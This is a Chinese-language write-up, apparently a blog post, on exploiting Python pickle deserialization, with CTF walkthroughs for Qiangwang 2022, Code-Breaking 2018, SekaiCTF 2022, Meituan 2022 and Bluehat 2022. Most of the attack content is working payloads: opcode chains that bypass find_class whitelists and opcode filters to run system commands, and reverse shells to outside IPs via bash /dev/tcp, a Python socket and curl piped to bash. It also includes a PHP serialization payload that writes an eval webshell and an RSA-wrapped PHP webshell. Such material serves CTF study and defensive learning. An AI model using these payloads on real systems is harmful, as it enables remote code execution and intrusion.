opcode = b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ubcnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'
fakeUser = pickle.loads(opcode)
漏洞修复
和其他的反序列化漏洞一样,永远不要相信用户的输入,确保 unpickle 的内容不会来自于不受信任的或者未经验证的来源的数据。
在这一点之外,我们还可以通过重写 Unpickler.find_class()
来限制全局变量:
import builtins
import io
import pickle
safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}
class RestrictedUnpickler(pickle.Unpickler):
#重写了find_class方法
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)
###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden
以上例子通过重写Unpickler.find_class()
方法,限制调用模块只能为builtins
,且函数必须在白名单内,否则抛出异常。这种方式限制了调用的模块函数都在白名单之内,这就保证了Python在unpickle
时的安全性。
漏洞 bypass
绕过find_class
函数
我们在前面学习到了 c
操作码调用的 find_class 的逻辑,我们可以看到上面官方的修复方法中也是对 find_class 进行白名单限制,比如这里我们限制了 builtins
,但是显然我们可以通过自己构造类似 find_class 的逻辑进行 payload 构造,我们 c 操作码只需要对 builtins
进行操作就可以构造出 payload
我们可以利用 如下代码进行绕过
opcode=b'''cbuiltins
getattr
p0 #取到 getattr
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2 # getattr(dict, 'get')
00g1
(g2
S'__builtins__' # get(__import__('builtins').globals(), '__builtins__')
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("calc")' # 取到 eval 然后实现 RCE
tR.
'''
R 被过滤的时候,构造如下
opcode=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("calc")o00.'#最后两个0是栈为空,否则会报错
'''
0: \x80 PROTO 3
2: ( MARK
3: c GLOBAL 'builtins getattr'
21: p PUT 0
24: c GLOBAL 'builtins dict'
39: p PUT 1
42: X BINUNICODE 'get'
50: o OBJ (MARK at 2)
51: p PUT 2
54: 0 POP
55: ( MARK
56: g GET 2
59: ( MARK
60: c GLOBAL 'builtins globals'
78: o OBJ (MARK at 59)
79: X BINUNICODE '__builtins__'
96: o OBJ (MARK at 55)
97: p PUT 3
100: ( MARK
101: g GET 0
104: g GET 3
107: X BINUNICODE 'eval'
116: o OBJ (MARK at 100)
117: p PUT 4
120: ( MARK
121: g GET 4
124: X BINUNICODE '__import__("os").system("whoami")'
162: o OBJ (MARK at 120)
163: 0 POP
164: 0 POP
165: . STOP
highest protocol among opcodes = 2
'''
R 指令被过滤
b
上面 RCE 中我们提到了,我们可以使用 o
、i
来进行绕过,这里重点提一下 b
BUILD = b'b' # call __setstate__ or __dict__.update()
我们可以看到 b 指令码的作用,这里会调用到 __setstate__
__setstate__
: 官方文档中,如果想要存储对象的状态,就可以使用__getstat__
和__setstat__
方法。由于 pickle 同样可以存储对象属性的状态,所以这两个魔术方法主要是针对那些不可被序列化的状态,如一个被打开的文件句柄open(file,'r')
。
和他成对的还有 __getstate__
,被反序列化时调用__setstate__
,被序列化时调用__getstate__
。重写时可以省略__setstate__
,但__getstate__
必须返回一个字典。如果__getstate__
与__setstate__
都被省略, 那么就默认自动保存和加载对象的属性字典__dict__
。
示例:
import pickle
class Person:
def __init__(self, name, age=0):
self.name = name
self.age = age
def __str__(self):
return f"name: {self.name}\nage: {self.age}"
class Child(Person):
def __setstate__(self, state):
print("invoke __setstate__")
self.name=state
self.age=10
def __getstate__(self):
print("invoke __getstate__")
return "Child"
child=Child("TEST",123)
print(child)
#name: TEST
#age: 123
opcode=pickle.dumps(child,protocol=0)
print(opcode)
#invoke __getstate__
#b'ccopy_reg\n_reconstructor\np0\n(c__main__\nChild\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\nVChild\np5\nb.'
c1=pickle.loads(opcode)
print(c1)
#invoke __setstate__
#name: Child
#age: 10
在 pickle 源码中,字节码b
对应的是load_build()
函数
def load_build(self):
stack = self.stack
state = stack.pop()
# 首先获取栈上的字节码 b 前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
inst = stack[-1]
#获取该字典中键名为"__setstate__"的value
setstate = getattr(inst, "__setstate__", None)
#如果存在,则执行value(state)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
#如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
#如果__setstate__和__getstate__都没有设置,则加载默认__dict__
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
根据上面代码的逻辑我们可以进行如下构造:
o}(S"__setstate__" # } 压入空dict __setstate__,然后 c push进去我们的 os.system
cos
system
ubS"calc" # 执行第一次 b ,因为现在并没有 b ,所以执行 __dict__.update,也就是将我们前面的 {"__setstate__":os.system} 写入了
# 压入命令再次执行 b 由于已经有了__setstate__,所以会将栈中字节码 b 的前一个元素当作 state,执行__setstate__(state),
b.
测试demo
import pickle
class Person:
def __init__(self,age):
self.age=age
opcode=b'''(c__main__
Person
I18
o}(S"__setstate__"
cos
system
ubS"calc"
b.'''
p=pickle.loads(opcode)
'''
0: ( MARK
1: c GLOBAL '__main__ Person'
18: I INT 18
22: o OBJ (MARK at 0)
23: } EMPTY_DICT
24: ( MARK
25: S STRING '__setstate__'
41: c GLOBAL 'os system'
52: u SETITEMS (MARK at 24)
53: b BUILD
54: S STRING 'calc'
62: b BUILD
63: . STOP
highest protocol among opcodes = 1
'''
利用 python 内置函数绕过
这一部分就是考验 python 的基础了,题目的话可以参考 美团CTF 2022 ezpickle 和 蓝帽杯2022 file_session
关于 python 的内置函数可以移步官方文档 https://docs.python.org/zh-cn/3/library/functions.html,我们需要在这里面找到可以进行命令执行的函数,这里给出两个
for x in map.__new__(map, eval, ['print(\'map\')']):
pass
for x in filter.__new__(filter, eval, ['print(\'filter\')']):
pass
如上,但是这里是有一点问题的,这两个函数构建一个新的迭代器
这里构建的迭代器是不会立即触发的,在 python 中好像叫懒惰,我们需要再对迭代对象进行一步 __next__
才能将他触发
r = map(eval, ['print(\'1\')'])
r.__next__()
r = filter(eval, ['print(\'2\')'])
r.__next__()
而 __next__
我们可以对他进行一个跟踪,看文档就可以
Python/C API 中 Python 对象类型结构体的 tp_iternext
槽位
可以看到最下面,这里实际上也就是对应着 PyIter_Next
我们现在想要构造一个能够被调用的 pickle 反序列化的 payload 的时候,触发的方式就不能是再在后面拼接 __next__()
了,我们需要找一个能够触发 PyIter_Next
的方法:
bytes.__new__(bytes, map.__new__(map, eval, ['print(1)'])) # bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next
tuple.__new__(tuple, map.__new__(map, exec, ["print('1')"])) # tuple_new_impl->PySequence_Tuple->PyIter_Next
也就是
opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
pickle.loads(opcode)
opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''
pickle.loads(opcode)
用到的核心其实就是
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
敏感字符 bypass
S
S
操作码本身是 String ,是支持十六进制的识别的
S'flag' => S'\x66\x6c\x61\x67'
V
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
在指令集中存在一个 V
用于操作 Unicode 字符,对原本的 S 进行替换后即可在单引号内使用 Unicode 编码
S'flag' => V'\u0066\u006C\u0061\u0067'
利用内置函数取关键字
我们可以用 dir 列出 admin 模块的所有属性,我们需要的 secret 属性位于最后的位置,这个时候我们就可以利用函数将这里的 secret 取出来
print(next(reversed(dir(sys.modules['admin']))))
#secret
reversed 函数将 dir 得到的列表逆序,然后使用 next 取第一个即可,写到 opcode 中就是如下构造
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.
flask 框架下结合 SSTI 进行 bypass
简单放一下 payload,大体的思路就是调用 flask.templating 的 render_template_string 来传入 SSTI 的相关 paylaod
payload="cflask.templating\nrender_template_string\np0\n(S\"{% for x in (().__class__.__base__.__subclasses__()) %}{%if x.__name__ =='catch_warnings'%}{{x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')}}{%endif%}{%endfor%}\"\np1\ntp2\nRp3\n."
题目整理
强网杯 2022 crash
题目给出了源码
import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random
app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
def get_password(username):
if username=="admin":
return admin.secret
else:
# conn=sqlite3.connect("user.db")
# cursor=conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data=cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get("password")
@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"
@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
return resp
@app.route('/', methods=['GET', 'POST'])
def index():
return open('source.txt',"r").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
这里我们只写用到 pickle 反序列化的部分,我们希望通过覆盖属性的方式来获得一个已知的 secret,可以看到黑名单:
if b'R' in pickle_data or b"secret" in pickle_data:
不能用 R 指令码,不能含有要覆盖的 secret 关键字,绕过这两处即可
b'''capp
admin
(Vsecr\u0065t
I1
db0(capp
User
S"admin"
I1
o.'''
或者
b'''capp
admin
(S'\x73ecret'
I1
db0(capp
User
S"admin"
I1
o.'''
再或者
opcode = b'''c__main__
admin
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I1
db(S'admin'
I1
i__main__
User
.'''
Code-Breaking 2018 picklecode
https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
起环境之后可以看到:
直接审计源码,使用的是 django 模板,很简单可以看出来是一个 pickle 反序列化,映入眼帘的 manger.py 中就可以看到写好的 PickleSerializer
添加了一系列的黑名单,可以在 setting 下的 SESSION_SERIALIZER
中找到调用
这里看过 P 牛的 WP 后补充一下,
SESSION_ENGINE
指的是 Django 使用时将用户认证信息存储在哪里,在一般的 Django 项目中很少看到对这两个值进行设置,默认Django项目中,这两个值分别是:django.contrib.sessions.backends.db
和django.contrib.sessions.serializers.JSONSerializer
,显然默认 Django 的 session 是使用 json 的形式,存储在数据库里。简单理解的话就是 用户的session对象先由
SESSION_SERIALIZER
指定的方式转换成一个字符串,再由SESSION_ENGINE
指定的方式存储到某个地方。
继续审计,我们可以在 challenge\views.py
中找到可控点,这里直接被拼接进了 模板渲染,显然会存在一个模板注入的漏洞
Django 的模板引擎沙箱其实一直是很安全的,也就是说即使你让用户控制了模板或模板的一部分,造成模板注入漏洞,也无法通过这个漏洞来执行代码。但是我们可以利用这里获取一些敏感信息。
常用的 Django 格式化字符串的 payload:
{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
思路是一样的,但是和格式化字符串漏洞不同,Django的模板引擎有一定限制,比如我们无法读取用下划线开头的属性,所以这里的两种 payload 都是不能用的。
这个 payload 我们可以通过调试得到,在 debug 里面一点点找
很累眼
request.user.groups.source_field.opts.app_config.module.settings.SECRET_KEY
这样就得到了 secret_key
zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm
这里是第一个沙箱的内容,第二个沙箱就是我们的 pickle 了,也就是 SESSION_SERIALIZER = 'core.serializer.PickleSerializer'
这里的黑名单限制的是 module
必须为 builtins
,同时name
中不能有 {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
我们通过 builtins.getattr('builtins', 'eval')
取 eval 方法就可以绕过这里的检测了
opcode = b'''cbuiltins
getattr # 使用c,获取 getattr 这个可执行对象
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1 # 用dict.get来从globals的结果中拿到上下文里的builtins对象,并将这个对象放置在memo[1]
cbuiltins
getattr
(g1
S'eval' # 利用得到的 builtins 对象调用 getattr('builtins', 'eval')
tR(S'__import__("os").system("calc")' 写入 eval 的参数
tR.
'''
SekaiCTF 2022 Bottle Poem
可以猜测这里存在一个任意文件读取,直接读 ../app.py
是 No,不过可以读到 /proc/self/cmdline
然后读绝对路径就可以读源码了
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re
@route("/")
def home():
return template("index")
@route("/show")
def index():
response.content_type = "text/plain; charset=UTF-8"
param = request.query.id
if re.search("^../app", param):
return "No!!!!"
requested_path = os.path.join(os.getcwd() + "/poems", param)
try:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "No This Poems"
return tfile
@error(404)
def error404(error):
return template("error")
@route("/sign")
def index():
try:
session = request.get_cookie("name", secret=sekai)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=sekai)
return template("guest", name=session["name"])
if session["name"] == "admin":
return template("admin", name=session["name"])
except:
return "pls no hax"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)
稍微审计一下就可以发现,这里没有使用常用的 flask,用了一个叫 bottle 的东西,可能是我们的突破点,然后这里还有一个 config.secret 也就是 /app/config/secret.py
,后续也有一个 session 用户的问题。
secret
知道了,这里显然需要用 bottle 伪造出来一个权限为 admin 的 session
但是并没有什么用 ...
这里实际上是一个 Pickle 反序列化,至于如何得知的我们就只能去审计源码了,跟进源码中调用的 bottle 的几种方法
这里看到 bottle request 的 get_cookie 方法
这里是它的 get_cookie 方法,这里可以看到一个 cookie_decode
,跟进
可以看到这里调用了 pickle.loads
再看一下 set_cookie 方法
可以看到,这里和上面对应的有一个 cookie_encode 方法
可以看到,这里调用了 pickle.dumps(data, -1)
这里没有过滤,我们可以直接传入最简单的 __reduce__
生成的 payload
if secret:
value = touni(cookie_encode((name, value), secret))
那么我们的 pickle 内容相应的也就存在了 (name, value)
也就额是 cookie_encode 的 data 参数
python3 反弹shell
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('47.104.14.160',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
或者用 curl 自己服务器的方式反弹 shell
exp:
import os
from bottle import cookie_encode
class Test:
def __reduce__(self):
return (eval, ('__import__("os").popen("curl http://47.104.14.160/shell.html|bash")',))
exp = cookie_encode(
('session', {"name": [Test()]}),
"Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
)
print(exp)
美团CTF 2022 ezpickle
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))#设置user为a,d,m,i,n任意拼接的五个字符,例如aadai,admmi...
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
SECRET_KEY 很简单,爆破就好了,flask-unsign 可以利用字典爆破,我们可以写一个字典用工具爆破就可以了
过滤了操作码 R o i b,还有几个关键字,这里考虑使用 python 的内置函数来进行 bypass,这里用的是 map 函数 ,这里我们可以使用 bytes bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next
来触发迭代,具体的分析参照上面的 利用 python 内置函数绕过
#bytes.__new__(bytes,map.__new__(map,os.system,('whoami',)))
opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''
或者也可以使用 tuple
也就是 tuple_new_impl->PySequence_Tuple->PyIter_Next
opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
pickle.loads(opcode)
或者我们也可以换一个内置函数,比如 filter
opcode=b'''c__builtin__
filter
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
pickle.loads(opcode)
2022 BluehatCup Semi-Finals | Partly Writeup
Web
easyfatfree
扫出www.zip
直接审
跟$this->write()
跟\Base::instance()
直接就能写马
<?php
namespace DB {
class Jig {
public $dir;
public $data;
public $lazy;
public $format;
}
}
namespace {
$jig = new DB\Jig();
$jig->lazy = True;
$jig->dir = '/var/www/html/';
$jig->data = ["shell.php" =>['<?php eval($_POST[a]); ?>']];
$jig->format = 0;
echo serialize($jig);
}
根目录不能写,换/ui/
有disable_function
用蚁剑bypass
onelinephp
非预期:
同之前国赛的一个题,flag放在了/etc/profile.d/pouchenv.sh
和/etc/instanceInfo
直接cat
预期解:
Misc
神秘的日志
看system日志,找到第一次使用ntlm的时间
再从security日志中找到对应时间的登录日志,找最早的那个
右键复制成文本才能看到TimeCreated SystemTime
<TimeCreated SystemTime="2022-04-17T03:27:06.7108313Z" />
flag{dafd0428f634aefd1ddb26f8257c791f}
加密的通道
从http协议分析,可以找到如下代码
解码后可以看到上传了个rsa.php
但是rsa.php是被加密后的
phpjiami 数种解密方法 | 离别歌 (leavesongs.com)
这里采用手工dump法
源码如下:
?><?php @eval("//Encode by phpjiami.com,Free user."); ?><?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR
qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp
DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5
0S5e5sSOF85kNq/zwwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
foreach($_POST as $k => $v){
if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
$_POST[$k]=$de;
}
}
eval($cmd);
接下来流量重放即可
修改下代码,在本地起php环境
<?php @eval("//Encode by phpjiami.com,Free user."); ?><?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR
qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp
DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5
0S5e5sSOF85kNq/zwwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
foreach($_POST as $k => $v){
if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
$_POST[$k]=$de;
echo $k.":::";
var_dump($_POST[$k]);
}
}
var_dump($cmd);
// eval($cmd);
最后一条流量显示出有flag.txt,于是看倒数第二条流量
重放解密
substr($_POST["k85c8f24ca50da"], 2)进行base64解码就是flag
取证
手机取证_1
手机取证_2
exe_1
导入微步云沙箱
exe_2
导入微步云沙箱
exe_3
导入微步云沙箱
exe_4
挖矿
exe_5
导入微步云沙箱
apk2
apk3
apk反编译 发现loadUrl
apk5
反编译apk文件
apk7
MainActivity
有几个分支代表有几个页面。
apk8
红星.ipa导出,解压,\123123123123213\Payload\0B5A51EA-18C7-4B3F-B1EF-1D48955CD71F\红星.app
apk12
apk13
安装软件,默认6661
apk15